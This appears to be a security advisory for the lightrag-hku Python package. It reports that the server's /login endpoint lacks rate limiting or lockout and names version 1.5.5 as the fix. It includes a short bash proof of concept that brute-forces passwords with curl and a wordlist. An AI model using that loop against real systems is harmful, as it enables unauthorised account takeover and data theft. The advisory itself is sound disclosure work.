GHSA-frch-4w6v-q5xx: Critical severity pip/lightrag-hku vulnerability

Published Sep 22, 2026
·
Updated

Summary The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

python lightrag/api/lightragserver.py:2161 @app.post("/login") async def login(formdata: OAuth2PasswordRequestForm = Depends()): if not authhandler.verifypassword(username, formdata.password): raise HTTPException(statuscode=401, detail="Incorrect credentials") # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, ratelimit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

bash Brute-force /login with a wordlist, no throttling while IFS= read -r pass; do code=$(curl -s -o /dev/null -w "%{httpcode}" \ -X POST http://<TARGET>:9621/login \ -d "username=admin&password=${pass}") [ "$code" = "200" ] && echo "[FOUND] $pass" && break done < /usr/share/wordlists/rockyou.txt

Impact Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected Software

1 affected componentFixes available
pip/lightrag-hku<1.5.5
1.5.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/lightrag-hku to a version that resolves this vulnerability.

    Fixed in 1.5.5

Event History

Sep 22, 2026
Advisory Published
via GitHub·08:40 PM
Data Sourced
via GitHub·08:40 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any attacker that can reach the application's POST /login endpoint over the network can submit password guesses. No existing account or other privileges are required.

2

What makes exploitation possible?

The login endpoint accepts unlimited failed authentication attempts without rate limiting, account lockout, delays, CAPTCHA, or attempt counters. An attacker needs a target username and password guesses, such as a wordlist.

3

Are deployments affected by default?

The provided endpoint implementation contains no authentication-attempt restrictions, and the reported search found no rate-limiting, lockout, or throttling support under lightrag/api/. Deployments exposing this login endpoint should be treated as susceptible unless compensating controls restrict attempts.

4

What can be done before a patch is available?

Restrict network access to the login endpoint and apply compensating controls that limit repeated authentication attempts, such as rate limiting, throttling, backoff, or account lockout. Use strong passwords to reduce the likelihood that password guessing succeeds.

5

How would an attacker know that guessing succeeded?

The supplied proof of concept identifies a successful guess when POST /login returns HTTP 200. Failed credential attempts return HTTP 401 with an "Incorrect credentials" message.

Contact

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